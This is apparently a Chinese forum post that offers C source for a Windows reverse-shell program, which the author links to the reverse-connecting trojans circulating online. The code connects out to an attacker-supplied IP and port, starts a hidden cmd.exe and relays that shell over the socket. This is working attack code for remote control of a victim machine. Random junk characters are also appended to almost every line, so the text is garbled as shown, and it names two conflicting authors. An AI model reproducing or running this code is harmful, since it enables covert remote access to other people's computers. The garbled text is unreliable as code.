这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 FD*`$.e3\
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/* ============================== Q1IN@Db}y
Rebound port in Windows NT zht^gOs
By wind,2006/7 v&i M/pJU
===============================*/ bqN({p&
#include Byyus[b'A
#include K!"[,=u_
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#pragma comment(lib,"wsock32.lib") S3i%7f^C?N
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void OutputShell(); cfMj^*I
SOCKET sClient; NwoBM6 #
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %YM4x!6
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void main(int argc,char **argv) !`hjvJryw
{ U_m<W$"HF
WSADATA stWsaData; Pon 2!$
int nRet; 1]aM)},
SOCKADDR_IN stSaiClient,stSaiServer; ~;QO`I=0P
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if(argc != 3) F:x" RbbF
{ wo$9$~(
printf("Useage:\n\rRebound DestIP DestPort\n"); XU5/7
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return; Cy4@\X%W
} di>"\On-
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WSAStartup(MAKEWORD(2,2),&stWsaData); )7Gm<r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @bOhnd#W
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stSaiClient.sin_family = AF_INET; @X?DHLM
stSaiClient.sin_port = htons(0); S=~[ 6;G
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?<]BLkx
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G`9Ud
{ H ifKa/}P8
printf("Bind Socket Failed!\n"); aB0L]i
return; wUW^
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} VUxuX5B3M
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stSaiServer.sin_family = AF_INET; F$ShhZgi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *9y)B|P^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !'w h hi
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B\r2M`N5
{ I'HPy.PV
printf("Connect Error!"); $~!%Px)
return; i#Io;
} :f
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OutputShell(); ExeD3Zj
} /W1!mih
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void OutputShell() '#!nK O2<
{ E;/WP!/.
char szBuff[1024]; y<0zAsT
SECURITY_ATTRIBUTES stSecurityAttributes; B(7oHj.i2
OSVERSIONINFO stOsversionInfo; Xyy;BO:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y<-h#_
STARTUPINFO stStartupInfo; 3)88B"E
char *szShell; %V71W3>6WS
PROCESS_INFORMATION stProcessInformation; x? tC2L
unsigned long lBytesRead; 3u#bx1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pFgpAxl
stSecurityAttributes.lpSecurityDescriptor = 0; `|coA2$rw
stSecurityAttributes.bInheritHandle = TRUE; <}t~^E,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L#O1>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \ne1Xu:hM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (VDY]Q)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "@^Pb$BLY
stStartupInfo.wShowWindow = SW_HIDE; >RJjm&M
stStartupInfo.hStdInput = hReadPipe; 'yxN1JF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &H8wYs
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GetVersionEx(&stOsversionInfo); g>G+?PY
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switch(stOsversionInfo.dwPlatformId) & "i4og<
{ 9gq+,g>E_
case 1: b S-o86u
szShell = "command.com"; }`KK
break; Drm#z05i[g
default: 6$CwH!42F
szShell = "cmd.exe"; )5T82=[h<
break; GDF/0-/Z
} Kzw br?&z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Hjhgu=
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send(sClient,szMsg,77,0); 'Qdea$o
while(1) v[;R(pt?
{ Fn>KdoByN
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IiU\}<O
if(lBytesRead) %xt;&HE
{ cWtuI(.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R
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send(sClient,szBuff,lBytesRead,0); >$$z 6A[
} QPX&P{!g
else {W+IUvn
{ 6ChFsteGFr
lBytesRead=recv(sClient,szBuff,1024,0); "I3
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if(lBytesRead<=0) break; k5M5bH',
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xU/7}='T
} ?(Se$iTZ
} za%gD
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return; D@2L<!\
}